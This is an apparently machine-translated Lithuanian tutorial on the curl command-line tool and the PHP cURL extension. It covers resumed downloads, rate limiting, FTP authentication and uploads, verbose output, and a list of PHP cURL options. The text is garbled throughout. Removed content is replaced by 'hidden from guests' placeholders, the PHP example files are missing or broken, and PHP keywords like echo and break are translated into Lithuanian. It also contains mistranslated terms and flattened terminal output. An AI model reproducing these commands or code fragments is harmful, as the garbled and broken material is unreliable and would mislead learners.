Aukščiau pateiktame išvestyje rašoma, kad prašomas dokumentas buvo perkeltas į „

Paslėptas nuo svečių

Paslėptas nuo svečių

Curl -L https://www.google.com/?gws_rd=ssl

Naudodami parinktį -C galite tęsti atsisiuntimą, kuris buvo sustabdytas dėl kokios nors priežasties. Tai bus naudinga, kai nepavyksta atsisiųsti didelių failų.
Jei sakysime „-C –“, tada curl ieškos, iš kur tęsti atsisiuntimą. Taip pat galime nurodyti „-C<смещение>“. Nurodytas baitų poslinkis bus praleistas nuo šaltinio failo pradžios.
Pradėkite didelį atsisiuntimą naudodami curl ir paspauskite Ctrl-C, kad sustabdytumėte atsisiuntimo viduryje.

$ curl -O http://www.gnu.org/software/gettext/manual/gettext.html ############### 20,1%

Injekcija buvo sustabdyta 20,1 proc. Naudodami „curl -C -“ galime tęsti įkėlimą nuo ten, kur baigėme. Dabar atsisiuntimas tęsis nuo 20,1%.

Curl -C - -O http://www.gnu.org/software/gettext/manual/gettext.html ################ 21,1%

$ curl --limit-rate 1000B -O http://www.gnu.org/software/gettext/manual/gettext.html

Aukščiau pateikta komanda apribos perdavimo greitį iki 1000 baitų per sekundę. curl gali naudoti didesnį greitį piko metu. Tačiau vidutinis greitis bus maždaug 1000 baitų per sekundę.
Žemiau yra aukščiau pateiktos komandos eigos juosta. Matote, kad dabartinis greitis yra apie 1000 baitų.

% Iš viso % Gauta % Xferd Vidutinis greitis Laikas Laikas Dabartinis atsisiuntimas Įkėlimas Iš viso išleista Likęs greitis 1 1215k 1 13601 0 0 957 0 0:21:40 0:00:14 0:21:26 999 1 11415k 1 0 0 960 0 0:21:36 0:00:15 0:21:21 999 1 1215k 1 15601 0 0 962 0 0:21:34 0:00:16 0:21:18 999

Aukščiau pateikta komanda įkels yy.html tik tuo atveju, jei ji buvo pakeista vėliau nei nurodyta data ir laikas.

Aukščiau pateikta komanda įkels failą.html, jei jis buvo pakeistas prieš nurodytą datą ir laiką. Įveskite „man curl_getdate“, kad sužinotumėte daugiau apie įvairias palaikomas datos išraiškų sintakses.

HTTP autentifikavimo perdavimas cURL
Kartais tinklalapiams reikia vartotojo vardo ir slaptažodžio, kad būtų galima peržiūrėti jų turinį. Naudodami parinktį -u, galite perduoti šiuos kredencialus iš cURL į žiniatinklio serverį, kaip parodyta toliau.

$ curl -u vartotojo vardas: slaptažodžio URL

Pastaba: Pagal numatytuosius nustatymus curl naudoja pagrindinį HTTP autentifikavimą. Naudodami –ntlm | galime nustatyti kitus autentifikavimo metodus – virškinti.

$ curl -u ftpuser:ftppass -O ftp://ftp_server/public_html/xss.php

Aukščiau pateikta komanda atsisiųs xss.php failą iš ftp serverio ir išsaugos jį vietiniame kataloge.

$ curl -u ftpuser:ftppass -O ftp://ftp_server/public_html/

Čia URL nurodo katalogą. Todėl cURL išvardins failus ir katalogus nurodytu URL adresu.

$ curl ftp://ftp.uk.debian.org/debian/pool/main//

Aukščiau pateikta komanda išvardins visus paketus, esančius diapazone a–z terminale.

Failų įkėlimas į FTP serverį
Curl taip pat gali būti naudojamas įkelti į FTP serverį su -T parinktimi.

$ curl -u ftpuser:ftppass -T myfile.txt ftp://ftp.testserver.com

Aukščiau pateikta komanda į FTP serverį įkels failą pavadinimu myfile.txt. Taip pat galite įkelti kelis failus vienu metu naudodami diapazonus.

$ curl -u ftpuser:ftppass -T "(failas1,failas2)" ftp://ftp.testserver.com

Pasirinktinai galime naudoti „. gauti iš standartinės įvesties ir perduoti ją nuotoliniam įrenginiui.

$ curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

Pirmiau nurodyta komanda gaus išvestį iš vartotojo iš standartinės įvesties ir išsaugos turinį ftp serveryje kaip „mano failas_1.txt“.
Kiekvienam URL galite nurodyti „-T“, o kiekviena adreso ir failo pora nustatys, ką kur įkelti

Daugiau informacijos su padidintu išsamumu ir sekimo parinktimi
Galite sužinoti, kas vyksta, naudodami parinktį -v. Parinktis -v įgalina žodinį režimą ir išspausdins išsamią informaciją.

Curl -v https://www.google.co.th/?gws_rd=ssl

Aukščiau pateikta komanda išves šiuos dalykus

* Atkurtas URL į: https://www.google.co.th/?gws_rd=ssl * Pagrindinio kompiuterio pavadinimas NErastas DNS talpykloje * Bandoma 27.123.17.49... * Prisijungta prie www.google.co.th (27.123. 17.49) 80 prievadas (#0) > GET / HTTP/1.1 > Vartotojo agentas: curl/7.38.0 > Priegloba: www.google.co.th > Priimti: */* >< HTTP/1.1 200 OK < Date: Fri, 14 Aug 2015 23:07:20 GMT < Expires: -1 < Cache-Control: private, max-age=0 < Content-Type: text/html; charset=windows-874 < P3P: CP="This is not a P3P policy! See https://support.google.com/accounts/answer/151657?hl=en for more info." * Server gws is not blacklisted < Server: gws < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1439593640:LM=1439593640:V=1:S=FfuoPPpKbyzTdJ6T; expires=Sun, 13-Aug-2017 23:07:20 GMT; path=/; domain=.google.co.th ... ... ...

Jei jums reikia išsamesnės informacijos, galite naudoti parinktį -trace. Parinktis –trace įgalins visą tam tikro failo gaunamų / išeinančių duomenų sekimą

Siūlau šiek tiek pakalbėti apie PHP programavimo kalbą ir konkrečiai paliesti plėtinių temą CURL, t.y. galimybė bendrauti su skirtingais serveriais naudojant skirtingus protokolus iš paties PHP scenarijaus.

Prieš pradėdamas žiūrėti į curl, noriu priminti, kad PHP kalbą jau palietėme, pavyzdžiui, medžiagoje apie įkėlimą į Excel PHP arba galimybę autentifikuoti PHP, o dabar pakalbėkime apie galimybę siųsti užklausas į PHP.

Kas yra CURL?

CURL yra PHP funkcijų biblioteka, kurią galima naudoti siunčiant užklausas, pvz., HTTP, iš PHP scenarijaus. CURL palaiko tokius protokolus kaip HTTP, HTTPS, FTP ir kt. Galite siųsti HTTP užklausas naudodami GET, POST ir PUT metodus.

CURL gali būti naudingas tais atvejais, kai reikia iškviesti nuotolinį scenarijų ir gauti rezultatą arba tiesiog išsaugoti iškviečiamo puslapio HTML kodą, paprastai kiekvienas gali rasti savo naudojimą, tačiau esmė ta, kad galite siųsti užklausas, kol veikia scenarijus.

CURL bibliotekos prijungimas PHP

Norėdami naudoti CURL biblioteką, turite ją atitinkamai prijungti.

Pastaba! Pavyzdžiui, sistemoje Windows 7 naudosime PHP 5.4.39, o kaip žiniatinklio serverį naudosime Apache 2.2.22.

Pirmas dalykas, kurį reikia padaryti, yra nukopijuoti bibliotekas ssleay32.dll, libeay32.dll, libssh2.dll jie yra kataloge su PHP, Windows sistemos kataloge, būtent C:\Windows\System32.

Tada prijunkite php_curl.dll biblioteką prie php.ini, t.y. panaikinti kitos eilutės komentarą

Biblioteka neprijungta

Biblioteka prijungta

Extension=php_curl.dll

Tai viskas, paleiskite Apache iš naujo, iškvieskite phpinfo() funkciją ir jei ryšys sėkmingas, turėtumėte turėti curl skyrių

Jei jo nėra, tai reiškia tik vieną dalyką: biblioteka nebuvo įkelta. Dažniausia to priežastis yra ta, kad aukščiau pateikti DLL nebuvo nukopijuoti į Windows sistemos katalogą.

CURL pavyzdys – užklausa, kad ekrane būtų rodomas nuotolinis puslapis

Šiame pavyzdyje mes tiesiog paprašysime nuotolinio puslapio per HTTP naudodami GET metodą ir parodysime jo turinį ekrane.

Turime bandomąjį katalogą, kuriame yra 2 PHP failai: test_curl.php ir test.php, kur test_curl.php yra scenarijus, kuriame naudosime curl, o test.php yra nuotolinis scenarijus, kurį iškviesime. Kodą pakomentavau išsamiai.

Kodas test_curl.php

Kodo testas.php

1 antraštė"; pertrauka; 2 atvejis: aidas"<Н2>2 antraštė"; pertrauka; 3 atvejis: aidas"<Н3>3 antraštė"; pertrauka; ) ) ?>

Dėl to, jei paleisite test_curl.php, ekrane pamatysite pranešimą „Antraštė 1“, galite eksperimentuoti su ID parametrų perdavimu ( šiuo atveju 2 arba 3).

CURL pavyzdys – nuotolinio scenarijaus iškvietimas ir rezultato gavimas

Dabar pabandykime iškviesti scenarijų ir gauti rezultatą, kad vėliau jį apdorotų, pavyzdžiui, naudokime POST metodą. Failų pavadinimus palikime tuos pačius.

Kodas test_curl.php

Kodo testas.php

O jei paleisime test_curl.php, tai ekrane bus rodomas 111, t.y. 1.11, gautas prisijungus prie nuotolinio scenarijaus, padaugintas iš 100.

Dabar pakalbėkime apie funkcijas ir jų konstantas.

Dažniausiai naudojamos CURL funkcijos ir konstantos

• curl_init – inicijuoja seansą;
• curl_close – uždaro seansą;
• curl_exec – vykdo užklausą;
• curl_errno – grąžina klaidos kodą;
• curl_setopt – nustato seanso parametrą, pvz.:
  • CURLOPT_HEADER – 1 reikšmė reiškia, kad antraštės turi būti grąžintos;
  • CURLOPT_INFILESIZE – parametras, nurodantis numatomą failo dydį;
  • CURLOPT_VERBOSE – 1 reikšmė reiškia, kad CURL rodys išsamius pranešimus apie visas atliktas operacijas;
  • CURLOPT_NOPROGRESS – išjungia operacijos eigos indikatorių, reikšmė 1;
  • CURLOPT_NOBODY – jei jums nereikia dokumento, o reikia tik antraščių, tada nustatykite reikšmę į 1;
  • CURLOPT_UPLOAD - failo įkėlimui į serverį;
  • CURLOPT_POST – vykdyti užklausą naudojant POST metodą;
  • CURLOPT_FTPLISTONLY – failų sąrašo gavimas FTP serverio kataloge, reikšmė 1;
  • CURLOPT_PUT — vykdyti užklausą naudojant PUT metodą, reikšmė 1;
  • CURLOPT_RETURNTRANSFER – grąžinkite rezultatą neišvedant jo į naršyklę, reikšmė 1;
  • CURLOPT_TIMEOUT – maksimalus vykdymo laikas sekundėmis;
  • CURLOPT_URL – nurodomas kontaktinis adresas;
  • CURLOPT_USERPWD - eilutė su vartotojo vardu ir slaptažodžiu forma :;
  • CURLOPT_POSTFIELDS – duomenys POST užklausai;
  • CURLOPT_REFERER – nustato HTTP antraštės „Referer:“ reikšmę;
  • CURLOPT_USERAGENT – nustato HTTP antraštės reikšmę „User-Agent:“;
  • CURLOPT_COOKIE – antraštės „Cookie:“ turinys, kuris bus išsiųstas su HTTP užklausa;
  • CURLOPT_SSLCERT - failo su sertifikatu PEM formatu pavadinimas;
  • CURLOPT_SSL_VERIFYPEER – reikšmė 0, siekiant išjungti nuotolinio serverio sertifikato tikrinimą (numatytasis 1);
  • CURLOPT_SSLCERTPASSWD – sertifikato failo slaptažodis.
• curl_getinfo – grąžina informaciją apie operaciją, antrasis parametras gali būti konstanta, nurodanti, ką tiksliai reikia parodyti, pvz.:
  • CURLINFO_EFFECTIVE_URL – paskutinį kartą naudotas URL;
  • CURLINFO_HTTP_CODE – paskutinį kartą gautas HTTP kodas;
  • CURLINFO_FILETIME — įkelto dokumento modifikavimo data;
  • CURLINFO_TOTAL_TIME — operacijos vykdymo laikas sekundėmis;
  • CURLINFO_NAMELOOKUP_TIME – serverio pavadinimo nustatymo laikas sekundėmis;
  • CURLINFO_CONNECT_TIME – laikas, praleistas užmezgant ryšį, sekundėmis;
  • CURLINFO_PRETRANSFER_TIME – laikas, praėjęs nuo operacijos pradžios iki pasirengimo faktiniam duomenų perdavimui, sekundėmis;
  • CURLINFO_STARTTRANSFER_TIME – laikas, praėjęs nuo operacijos pradžios iki pirmojo duomenų baito perdavimo, sekundėmis;
  • CURLINFO_REDIRECT_TIME – laikas, praleistas peradresuojant, sekundėmis;
  • CURLINFO_SIZE_UPLOAD – baitų skaičius įkeliant;
  • CURLINFO_SIZE_DOWNLOAD – baitų skaičius atsisiunčiant;
  • CURLINFO_SPEED_DOWNLOAD – vidutinis atsisiuntimo greitis;
  • CURLINFO_SPEED_UPLOAD – vidutinis atsisiuntimo greitis;
  • CURLINFO_HEADER_SIZE – bendras visų gautų antraščių dydis;
  • CURLINFO_REQUEST_SIZE – bendras visų išsiųstų užklausų dydis;
  • CURLINFO_SSL_VERIFYRESULT – SSL sertifikato, kurio prašoma nustačius parametrą CURLOPT_SSL_VERIFYPEER, patikrinimo rezultatas;
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD – atsisiųsto dokumento dydis, skaitomas iš antraštės „Content-Length“;
  • CURLINFO_CONTENT_LENGTH_UPLOAD – įkeltų duomenų dydis;
  • CURLINFO_CONTENT_TYPE – gautos turinio tipo antraštės turinys arba NULL, jei ši antraštė nebuvo gauta.

Daugiau apie CURL funkcijas ir jų konstantas galite sužinoti oficialioje PHP svetainėje -